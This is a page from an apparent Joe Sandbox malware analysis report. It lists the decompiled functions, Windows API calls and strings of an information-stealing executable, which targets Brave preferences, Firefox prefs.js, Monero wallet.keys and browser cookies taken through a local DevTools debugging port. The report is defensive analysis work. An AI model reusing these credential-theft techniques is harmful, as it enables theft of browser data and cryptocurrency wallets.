Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Filelstrlen$CopyFind$CloseNext
String ID: prefs.js
API String ID: 3746966799-3783873740
Opcode ID: 44a5e9381b48117933bd1befb0aea1e4e6c7e468bcaac7773326d146731b1f17
Instruction ID: e7359e5705f768845023e5ba9fd39220c9ce66472ed890a4a9872b40608af356
Opcode Fuzzy Hash: 44a5e9381b48117933bd1befb0aea1e4e6c7e468bcaac7773326d146731b1f17
Instruction Fuzzy Hash: A4820F70A01605CFDB14CF29D948BAAB7E5AF84315F1980AED809DB3A1D779DC82CF94

Function 0040B870 Relevance: 63.5, APIs: 42, Instructions: 542
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040B8A3
lstrlenA.KERNEL32(008697C0), ref: 0040B8C2
lstrcpy.KERNEL32(00000000,?), ref: 0040B8EF
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B8F7
lstrlenA.KERNEL32(0043179C), ref: 0040B902
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B922
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040B92E
lstrcpy.KERNEL32(00000000,?), ref: 0040B959
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B964
lstrlenA.KERNEL32(00869830), ref: 0040B972
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B99E
lstrcatA.KERNEL32(00000000,00869830), ref: 0040B9A6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B9D7
lstrlenA.KERNEL32(008697C0), ref: 0040B9FC
lstrcpy.KERNEL32(00000000,?), ref: 0040BA29
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BA31
lstrlenA.KERNEL32(0043179C), ref: 0040BA3C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BA5C
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040BA68
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BA91
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BA9C
lstrlenA.KERNEL32(00434BA0), ref: 0040BAA7
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BAC9
lstrcatA.KERNEL32(00000000,00434BA0), ref: 0040BAD5
lstrcpy.KERNEL32(00000000,?), ref: 0040BAFD
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BB08
lstrlenA.KERNEL32(00869830), ref: 0040BB1A
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BB43
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BB51
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BB7F
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040BC1F
lstrlenA.KERNEL32(00000000), ref: 0040BC52
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BC7C
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BC84
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BCAC

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 7d90b803deab29bda6cb8d05445669a57e819fbda76a1d6ba9bda9e646d066f8
Instruction ID: 660eb19ec7f687c86b8b6790c7c7553485b06d726069d91abb22f9641792356f
Opcode Fuzzy Hash: 7d90b803deab29bda6cb8d05445669a57e819fbda76a1d6ba9bda9e646d066f8
Instruction Fuzzy Hash: C8123B71A002069BCB219F69DD89AAFB7B5EF44704F14503AE805B73A1DB79DC05CBE8

Function 00410C80 Relevance: 60.6, APIs: 40, Instructions: 603stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00410CB2
lstrlenA.KERNEL32(00871B08), ref: 00410CC1
lstrcpy.KERNEL32(00000000,00000000), ref: 00410CE4
lstrcatA.KERNEL32(00000000,00000000), ref: 00410CEF
lstrcpy.KERNEL32(00000000,00000000), ref: 00410D15
lstrcpy.KERNEL32(00000000,?), ref: 00410D53
lstrcatA.KERNEL32(00000000), ref: 00410D5D
lstrcpy.KERNEL32(00000000,00000000), ref: 00410D86
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00410DA2
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00410DD2
lstrlenA.KERNEL32(008697C0), ref: 00410DE1
lstrcpy.KERNEL32(00000000,?), ref: 00410E0B
lstrcatA.KERNEL32(00000000,?), ref: 00410E13
lstrlenA.KERNEL32(0043179C), ref: 00410E1E
lstrcpy.KERNEL32(00000000,00000000), ref: 00410E3E
lstrcatA.KERNEL32(00000000,0043179C), ref: 00410E4A
lstrcpy.KERNEL32(00000000,00000000), ref: 00410E70
lstrcatA.KERNEL32(00000000,00000000), ref: 00410E7B
lstrlenA.KERNEL32(00434BA0), ref: 00410E86
lstrcpy.KERNEL32(00000000,?), ref: 00410EA9
lstrcatA.KERNEL32(00000000,00434BA0), ref: 00410EB5
lstrcpy.KERNEL32(00000000,00000000), ref: 00410ED8
lstrcatA.KERNEL32(00000000,00000000), ref: 00410EE3
lstrlenA.KERNEL32(00869830), ref: 00410EF2
lstrcpy.KERNEL32(00000000,00000000), ref: 00410F1C
lstrcatA.KERNEL32(00000000,00000000), ref: 00410F27
lstrcpy.KERNEL32(00000000,00000000), ref: 00410F51
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00410FF0
lstrcpy.KERNEL32(00000000,00000000), ref: 00411042

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$CopyFile
String ID:
API String ID: 4143980809-0
Opcode ID: 78af9507d004d0319c885a91201bc14978e0f0a8b74ed02d5211c8c78c97b872
Instruction ID: f81fadbc1b5d0c5b51bde30ff9f93b8b4a37d7059ecbfd24b3b182c9be0a1006
Opcode Fuzzy Hash: 78af9507d004d0319c885a91201bc14978e0f0a8b74ed02d5211c8c78c97b872
Instruction Fuzzy Hash: D1324570A012069FCB21DF69DD88AAFB7B5AF44304F14506AF505A73A1DBB8DC85CF98

Function 00415E90 Relevance: 57.6, APIs: 38, Instructions: 593
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415EC5
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415EF2
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00415F21
lstrcpy.KERNEL32(00000000,00000000), ref: 00415F52
lstrcpy.KERNEL32(00000000,00000000), ref: 00415F7A
lstrcatA.KERNEL32(00000000,00000000), ref: 00415F85
lstrcpy.KERNEL32(00000000,00000000), ref: 00415FB0
lstrcpy.KERNEL32(00000000,00000000), ref: 00415FE9
lstrcatA.KERNEL32(00000000,00000000), ref: 00415FF4
lstrcpy.KERNEL32(00000000,00000000), ref: 0041601F
lstrcatA.KERNEL32(00000000,00000000), ref: 0041602A
lstrcpy.KERNEL32(00000000,00000000), ref: 00416052
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,00000000), ref: 0041608A
lstrcpy.KERNEL32(00000000,00000000), ref: 004160C1
lstrcpy.KERNEL32(00000000,00000000), ref: 004160EC
lstrcatA.KERNEL32(00000000,00000000), ref: 004160F7

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FolderPath
String ID:
API String ID: 2440492483-0
Opcode ID: c53d8841d2059a844eb47b52a0f5ac519d572f57e9806d91b24583e18828b9ca
Instruction ID: 38103eaea4a575095f791a17f6028a2b6f789c3351431b662c5749ae13ad16d5
Opcode Fuzzy Hash: c53d8841d2059a844eb47b52a0f5ac519d572f57e9806d91b24583e18828b9ca
Instruction Fuzzy Hash: 95229071A012169BCB21AF69CD88AEF7BB5AF44304F05442AF855A7391CB78DC858F98

Function 0040DD07 Relevance: 53.3, APIs: 27, Strings: 3, Instructions: 796stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,004317A8), ref: 0040DD1C
StrCmpCA.SHLWAPI(?,004317AC), ref: 0040DD36
lstrlenA.KERNEL32(Function_0002CFF4), ref: 0040DD49
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040DD74
lstrcpy.KERNEL32(00000000,?), ref: 0040DDDE
lstrcpy.KERNEL32(00000000,?), ref: 0040DE8A
StrCmpCA.SHLWAPI(?,Brave), ref: 0040DF73
FindNextFileA.KERNELBASE(00000000,?), ref: 0040E7BA
FindClose.KERNEL32(00000000), ref: 0040E7C9

Strings

Preferences, xrefs: 0040DF81
\Brave\Preferences, xrefs: 0040E0AA
Brave, xrefs: 0040DF6A

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNextlstrlen
String ID: Brave$Preferences$\Brave\Preferences
API String ID: 1349006732-1230934161
Opcode ID: b949d262720e044573fd6667e570edbc46c5dca6108af3f30444e597dff5c98a
Instruction ID: f0a3bae3323f5f5b79d4de3fc7c2c96dc3587fac26a116e7ef582ed35b7ac7bb
Opcode Fuzzy Hash: b949d262720e044573fd6667e570edbc46c5dca6108af3f30444e597dff5c98a
Instruction Fuzzy Hash: 1C627F71A012158FCB24DF6AC944A5AB7B5AF44314F1884BEE809BB3E1DB79EC41CF94

Function 0040DD09 Relevance: 53.3, APIs: 27, Strings: 3, Instructions: 796stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,004317A8), ref: 0040DD1C
StrCmpCA.SHLWAPI(?,004317AC), ref: 0040DD36
lstrlenA.KERNEL32(Function_0002CFF4), ref: 0040DD49
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040DD74
lstrcpy.KERNEL32(00000000,?), ref: 0040DDDE
lstrcpy.KERNEL32(00000000,?), ref: 0040DE8A
StrCmpCA.SHLWAPI(?,Brave), ref: 0040DF73
FindNextFileA.KERNELBASE(00000000,?), ref: 0040E7BA
FindClose.KERNEL32(00000000), ref: 0040E7C9

Strings

Preferences, xrefs: 0040DF81
\Brave\Preferences, xrefs: 0040E0AA
Brave, xrefs: 0040DF6A

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNextlstrlen
String ID: Brave$Preferences$\Brave\Preferences
API String ID: 1349006732-1230934161
Opcode ID: 145041cd883c4c33b0b3d711055e36165caf4df8ef5d859ff97cea2f2a64cd8d
Instruction ID: 9f2a0e6b5c71f2f386ae0c5e01744c78d3714de7ef9cc91fa22ac8b69288cf40
Opcode Fuzzy Hash: 145041cd883c4c33b0b3d711055e36165caf4df8ef5d859ff97cea2f2a64cd8d
Instruction Fuzzy Hash: 88627F71A012158FCB24DF6AC944A5AB7B5AF44314F1884BEE809BB3E1DB79EC41CF94

Function 00416586 Relevance: 52.9, APIs: 29, Strings: 1, Instructions: 429
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004165A5
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004165E0
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041660A
lstrcpy.KERNEL32(00000000,00000000), ref: 00416641
lstrcpy.KERNEL32(00000000,00000000), ref: 00416666
lstrcatA.KERNEL32(00000000,00000000), ref: 0041666E
lstrcpy.KERNEL32(00000000,00000000), ref: 00416697

Strings

\..\, xrefs: 00416781, 004167AC

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$FolderPathlstrcat
String ID: \..\
API String ID: 2938889746-4220915743
Opcode ID: 87a2a53bb18105353190ecc320edc6d31acbb4ca544db70fa8fc390ac9dfea2b
Instruction ID: 42d9ad66a5221fce82fd40552c444759ffa1ccf21afaabf487066dd1c29c7319
Opcode Fuzzy Hash: 87a2a53bb18105353190ecc320edc6d31acbb4ca544db70fa8fc390ac9dfea2b
Instruction Fuzzy Hash: 6DF1AD70A112069BCB21AF79D989AAF77B5AF04304F05402AF855A73E1DB7CDC85CF98

Function 00401190 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 278
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004011AA

Part of subcall function 00401120: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00401135
Part of subcall function 00401120: HeapAlloc.KERNEL32(00000000), ref: 0040113C
Part of subcall function 00401120: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00401159
Part of subcall function 00401120: RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401173
Part of subcall function 00401120: RegCloseKey.ADVAPI32(?), ref: 0040117D

lstrcatA.KERNEL32(?,00000000), ref: 004011C0
lstrlenA.KERNEL32(?), ref: 004011CD
lstrcatA.KERNEL32(?,.keys), ref: 004011E8
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040121F
lstrlenA.KERNEL32(00869A90), ref: 0040122D
lstrcpy.KERNEL32(00000000,?), ref: 00401251
lstrcatA.KERNEL32(00000000,00869A90), ref: 00401259
lstrlenA.KERNEL32(\Monero\wallet.keys), ref: 00401264
lstrcpy.KERNEL32(00000000,00000000), ref: 00401288
lstrcatA.KERNEL32(00000000,\Monero\wallet.keys), ref: 00401294
lstrcpy.KERNEL32(00000000,00000000), ref: 004012BA
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004012FF
lstrlenA.KERNEL32(00871B08), ref: 0040130E
lstrcpy.KERNEL32(00000000,?), ref: 00401335
lstrcatA.KERNEL32(00000000,?), ref: 0040133D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401378
lstrcatA.KERNEL32(00000000), ref: 00401385
lstrcpy.KERNEL32(00000000,00000000), ref: 004013AC
CopyFileA.KERNEL32(?,?,00000001), ref: 004013D5
lstrcpy.KERNEL32(00000000,?), ref: 00401401
lstrcpy.KERNEL32(00000000,?), ref: 0040143D

Part of subcall function 0041EFC0: lstrcpy.KERNEL32(00000000,?), ref: 0041EFF2

DeleteFileA.KERNEL32(?), ref: 00401471
memset.MSVCRT ref: 0040148E

Strings

\Monero\wallet.keys, xrefs: 0040125F, 0040128E
.keys, xrefs: 004011DC

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeapmemset$AllocCloseCopyDeleteOpenProcessQueryValue
String ID: .keys$\Monero\wallet.keys
API String ID: 2734118222-3586502688
Opcode ID: 278af3b74cb748bce1d705be78dd35a9e65c6e1a5898413260761aa54b086ceb
Instruction ID: 107083fb19e5d757d6b5f7c97fc85a8bb09bd95212823e3c222e070f8096506b
Opcode Fuzzy Hash: 278af3b74cb748bce1d705be78dd35a9e65c6e1a5898413260761aa54b086ceb
Instruction Fuzzy Hash: A9A17F71B102069BCB21AB79DD89A9F77B9AF44304F04007AF905F72E1DB78DD058BA8

Function 00415900 Relevance: 45.5, APIs: 30, Instructions: 486stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415935
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00415964
lstrcpy.KERNEL32(00000000,00000000), ref: 00415995
lstrcpy.KERNEL32(00000000,00000000), ref: 004159BD
lstrcatA.KERNEL32(00000000,00000000), ref: 004159C8
lstrcpy.KERNEL32(00000000,00000000), ref: 004159F0
lstrcpy.KERNEL32(00000000,00000000), ref: 00415A28
lstrcatA.KERNEL32(00000000,00000000), ref: 00415A33
lstrcpy.KERNEL32(00000000,00000000), ref: 00415A58
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415A8E
lstrcpy.KERNEL32(00000000,00000000), ref: 00415AB6
lstrcatA.KERNEL32(00000000,00000000), ref: 00415AC1
lstrcpy.KERNEL32(00000000,00000000), ref: 00415AE8
lstrlenA.KERNEL32(0043179C), ref: 00415AFA
lstrcpy.KERNEL32(00000000,00000000), ref: 00415B19
lstrcatA.KERNEL32(00000000,0043179C), ref: 00415B25
lstrlenA.KERNEL32(00871D18), ref: 00415B34
lstrcpy.KERNEL32(00000000,00000000), ref: 00415B57
lstrcatA.KERNEL32(00000000,00000000), ref: 00415B62
lstrcpy.KERNEL32(00000000,00000000), ref: 00415B8C
lstrcpy.KERNEL32(00000000,00000000), ref: 00415BB8
GetFileAttributesA.KERNEL32(00000000), ref: 00415BBF
lstrcpy.KERNEL32(00000000,?), ref: 00415C17
lstrcpy.KERNEL32(00000000,?), ref: 00415C8D
lstrcpy.KERNEL32(00000000,?), ref: 00415CB6
lstrcpy.KERNEL32(00000000,?), ref: 00415CE9
lstrcpy.KERNEL32(00000000,00000000), ref: 00415D15
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415D4F
lstrcpy.KERNEL32(00000000,?), ref: 00415DAC
lstrcpy.KERNEL32(00000000,00000000), ref: 00415DD0

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFileFolderPath
String ID:
API String ID: 2428362635-0
Opcode ID: 8db3c95bf4be5924abd086e5d20bfc40587929620e4d83d0f35c5446639d12dd
Instruction ID: ec9c45225b20980520d6f485632f03fc1695dcfcdb1b3fd09c2ab8f99a44f7af
Opcode Fuzzy Hash: 8db3c95bf4be5924abd086e5d20bfc40587929620e4d83d0f35c5446639d12dd
Instruction Fuzzy Hash: 4002AF70A11605DBCB21EF69D989AEF7BB5AF84304F14412AF805A7390DB78DC85CBD8

Function 004092B0 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 365stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004090C0: InternetOpenA.WININET(Function_0002CFF4,00000001,00000000,00000000,00000000), ref: 004090DF
Part of subcall function 004090C0: InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 004090FC
Part of subcall function 004090C0: InternetCloseHandle.WININET(00000000), ref: 00409109
Part of subcall function 004090C0: strlen.MSVCRT ref: 00409125

strlen.MSVCRT ref: 004092E1
strlen.MSVCRT ref: 004092FA

Part of subcall function 00417F70: memchr.MSVCRT ref: 00417FAF
Part of subcall function 00417F70: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00417FC9
Part of subcall function 00417F70: memchr.MSVCRT ref: 00417FE8

Part of subcall function 00408980: std::_Xinvalid_argument.LIBCPMT ref: 00408996

memset.MSVCRT ref: 00409341
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 0040935C
lstrcatA.KERNEL32(?,00000000), ref: 00409372
strlen.MSVCRT ref: 00409399
strlen.MSVCRT ref: 004093E6
memcmp.MSVCRT(?,Function_0002CFF4,?), ref: 0040940B
memset.MSVCRT ref: 00409532
lstrcatA.KERNEL32(?,cookies), ref: 00409547
lstrcatA.KERNEL32(?,0043179C), ref: 00409559
lstrcatA.KERNEL32(?,?), ref: 0040956A
lstrcatA.KERNEL32(?,00434BA0), ref: 0040957C
lstrcatA.KERNEL32(?,?), ref: 0040958D
lstrcatA.KERNEL32(?,.txt), ref: 0040959F
lstrlenA.KERNEL32(?), ref: 004095B6
lstrlenA.KERNEL32(?), ref: 004095DB
lstrcpy.KERNEL32(00000000,?), ref: 00409614
memset.MSVCRT ref: 0040965C

Strings

.txt, xrefs: 00409593
localhost, xrefs: 004092CA, 004092E8
ws://localhost:9229, xrefs: 00409350
cookies, xrefs: 0040953B
/devtools, xrefs: 004092F5, 00409300

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcat$strlen$Internetmemset$Openlstrlenmemchrmemcmp$CloseHandleXinvalid_argumentlstrcpystd::_
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2819545660-3542011879
Opcode ID: 930999bb960819f8af12abc5cfbbedc48e751b56b09cf1df3c1962bc0fd6f01d
Instruction ID: d96677364779d0a81b59f4340a1f2474f338e47f496b49ff071e593b853f3e6b
Opcode Fuzzy Hash: 930999bb960819f8af12abc5cfbbedc48e751b56b09cf1df3c1962bc0fd6f01d
Instruction Fuzzy Hash: 14E11671E00218DBDF14DFA9D984ADEBBB5BF48304F10446AE509B7281DB78AE45CF98

Function 00421E72 Relevance: 37.7, APIs: 25, Instructions: 165COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00421E82

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
